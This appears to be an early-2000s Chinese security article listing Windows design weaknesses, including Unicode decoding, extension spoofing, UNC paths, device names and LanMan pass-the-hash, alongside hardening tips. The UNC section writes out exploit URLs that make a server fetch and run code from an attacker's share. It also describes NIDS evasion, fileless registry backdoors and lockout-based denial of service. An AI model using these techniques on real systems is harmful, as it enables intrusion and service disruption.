为什么Windows不安全

为什么Windows不安全
--------------------------------------------------------------------------------
瑞星公司


　　这篇文章早就想写了，只是题目太大了，所以一直不敢写，高手可以厚积薄发，我只能积多少发多少了。
关于Windows 和*nix 谁更安全的讨论很多。*nix 大家知道存在着suid之类的死穴，那么Windows的哪些特点始终与安全问题纠结在一起呢？

一：代码庞大，代码重用

有一个“小程序定理”：程序中的bug 和程序大小成正比。还有一句谚语：凡可能出错的地方就一定会出错。微软的程序员不是神，那么多行代码，还要求软件工程学上的完美，
代码重用……昨天ilsy跟我提到那个ldap溢出，其实就是一个根本不该犯的错误，但是仍然犯了。要求代码重用就意味着在某个版本上出现的问题，就可能会在后续版本中都有问题，其他重用此代码的程序中也可能会有问题。

曾经有人说Windows .net出来，搞Windows 安全的就没饭吃了，我看一定不会，盖兹不会那么残忍。

二：盲目追求易用性和兼容性

毕竟是开公司，当然是怎么赚钱最多就怎么搞，听casper说微软花上百万去研究按钮的
光源从哪个角度照下来好看。好用的东西，傻瓜的东西，大家当然愿意买。所以默认就什么都支持，什么都包含，什么都关联什么都兼容。

三：废话不说了，说点实在的。

1、unicode的支持

IIS的unicode漏洞我就不多说了，其实除了IIS，其他还有不少Windows上的web 服务器存在类似问题。因为对unicode 的解码是系统内核完成的，真要想把错误解码问题解决，估计花钱不会少。我发现微软其实并没有在unicode 漏洞的补丁中真正把错误解码纠正，而只是简单过滤了一些危险的字符编码。主要是不允许“.”和“/”或者“”在一起出现，否则就报错。所以我们仍然能用错误解码来做一些事情，譬如说对付NIDS。把我们要扫描或者利用的http请求转换成错误编码格式，大多数的NIDS都是不能识别的。大家可以试验一下，看看是不是有哪家的NIDS 可以检测到这个。附录1是我自己搞的一个Windows 2000 中文版unicode错误解码表，不一定很全，大家可以参考。有兴趣的可以用这张表搞一个扫描器，对每一个字符随机使用正常unicode编码、utf8 编码和错误解码，看看是否还有什么NIDS可以识别。

我甚至相信在XP中，这个问题也未必会得到根本的解决。

2、扩展名欺骗

我们都认为Windows下文件性质由扩展名决定，也很容易相信一个doc（关掉宏的话）或者gif文件是无害的。但事实上，Windows不完全是按照扩展名来处理文件的，它会根据文件头部的信息对文件性质作初步的判断。NT 4就曾经出现过这样的问题：对于一个EXE 文件，当命名为.DOC时，双击运行，系统仍然按照EXE文件来加载执行！即使Windows 2000下，我们把一个EXE 文件扩展名改成任意的，在命令提示符下仍然会当作EXE文件运行：

C:>test.exe
only test !

C:>ren test.exe test.txt
C:>test.txt
only test !

C:>ren test.txt test.any
C:>test.any
only test !

幸好在资源管理器里双击运行时不存在这样的问题。但是EXE文件扩展名改为.com .cmd .bat .pif .scr仍然能正常双击运行，还有一定欺骗性。不少邮件病毒就是用了类似的手段。

3、8.3文件名，16位子系统，POSIX子系统，OS2子系统

能运行16位程序、OS2、POSIX 程序也是Windows NT/2000的一个卖点。但是由于对这些的支持需要使用一些系统级的 Privilege，也可以认为是某种意义上的suid，所以造成了安全隐患。历史上NT 4就曾经由于POSIX 子系统的问题出现过提升权限的漏洞。一般的系统加固手册中都会要求关掉这些支持。

Dos对长文件名会作截短处理，Windows NT/2000虽然支持长文件名，但默认也支持截短后的8.3 格式。当我们对某个文件进行基于文件名的访问控制的时候，就有可能通过使用截短的8.3 文件名来绕过控制。对于某些设计未考虑此问题的WEB服务器来说，就可能导致CGI源码泄漏。

4、“/”“”不分

Windows 下一般使用“”表示目录，但是对“/”也可以接受，这和*nix仅仅支持“/”是不同的。在编写asp、php等的时候，以及在写WEB 服务器之类程序的时候，如果没有把这两种都考虑到，往往会导致对WEB上级目录的越权访问。以前Win32 Apache就有这个问题。

5、UNC路径支持

对UNC 路径的支持可以使我们很简单的访问远程文件，但它所带来的安全问题也的确是太多了。首先，UNC 几乎在任何地方都可以被使用，可以有无数种方法欺骗用户访问入侵者的机器，而Windows NT/2000 的认证机制为了易用性，默认会在你访问的时候主动把当前用户密码散列值发送过去，对于没有加固的系统来说，散列值和密码本身几乎是没有什么区别的。

Windows NT/2000上安装Apache + php后，默认存在一个“/cgi-bin/php.exe?”的漏洞，漏洞发现者告诉我们这个问题可以被用来察看系统的任意文本，但事实上这个漏洞完全可以获得远程shell。因为我们可以这样：
http://cgi-bin/php.exe?\\myipshareevil.php。
如果*nix上存在这个问题，就仅仅只能用来看文件――除非你能传文件上去。

类似的，在一些漏洞的利用中，即使用户对所有目录都不可写，我们仍然可以运行指定的程序：http://host/scripts/../../cmd.exe?/c+\\myhostshareevil.exe

同样还可以用UNC 路径来安装真正无文件的后门，只要在注册表某个可以自启动的项上或者计划任务列表中添加一个指向UNC路径的程序即可。这个文件是不存在于本地硬盘上的，甚至也不会在临时文件夹里，可以躲过很多审核工具。

要去除对UNC路径的支持，可以禁用DeviceMup设备。

6、设备文件名问题

*nix 的一个特色是“一切皆文件”，大概是受其影响，Windows NT/2000的很多设备也可以通过字符链接作为文件访问。有些程序在编写的时候，为防止对任意驱动器的访问的控制手段设计考虑不足，如果我们通过“\\.D:”这样的方式来试图访问D:盘，就可能绕过一些编写不当的程序。

为了向上兼容，DOS设备文件名，如“PRN”、“CON”等在Windows NT/2000下仍然被支持。9X 下可以通过简单的直接对DOS 设备文件名的访问导致蓝屏，Windows NT/2000下做了一些处理，但是很多程序还是存在类似的问题，譬如Lotus Domino Server、OE等，甚至IIS在某些特殊情况下也会受影响导致拒绝服务。

又因为这些设备文件名是“无处不在”的，当我们需要某种类型文件来做点事情的时候就用得上了。先假设存在一个.plx的溢出，但是WEB目录下根本没有.plx 文件，这时候我们就可以用con.plx这样的文件来传递溢出代码了。

7、注册表庞大而复杂

注册表对于Windows 来说太重要了，也有太多的东西了，其中还有那么多是未公开的。如果在注册表里留个后门，弄得好的话，几乎是不可能被审核出来的。所以定期备份注册表文件对一个Windows系统管理员来说是很重要的。

8、WSH，script

WSH对象实在太强大了，再加上系统脚本引擎是默认安装的，又在包括IE、Office等的MS软件中被广泛支持，所以难免出问题。纵观IE，outlook的漏洞，很多都和这个有关。

9、系统权限分配繁冗

Windows NT/2000中几乎每个东西都可以设置权限，每一个对象，注册表项，设备……这么庞大的访问控制列表，实在难以一一审核，而其中很多都可以被用来作为后门。

10、默认兼容lanman验证

早在Windows NT 4.0的时代，就有人提出了传递散列值的进攻方法。因为在lanman验证方法中只是简单的比对MD 4散列值。那么理论上只要我们有了帐号和口令的散列值就可以通过lanman 验证，而不需要用l0pht Crack之类的工具去解出口令。由于这种攻击方式需要从根本上改动验证过程，而修改Windows内核过于困难，当时的发现者是使用修改Samba的方法来实现的，而且代码并未公开。最近有人对此提出可一个新思路，并公开了代码，可以在各种平台上实现，使得这个问题的风险大大增加了。所以在作系统加固的时候一定要把验证方式改掉。

11、设计失误

Windows上有很多设计失误，譬如帐号锁定和IIS的安全设计之间就有冲突（coolweis最早提出），一旦启用帐号锁定策略，我们可以对IUSER_和 IWAM_进行穷举，这两个帐号锁定后，任何人都无法访问IIS，这样很小的代价就实现了DoS。类似的问题还有不少。
 
 

和这篇对照着看就好了：
http://www.driverdevelop.com/forum/html_19923.html?1029204296

很复杂啊，我得慢慢看！

啥地方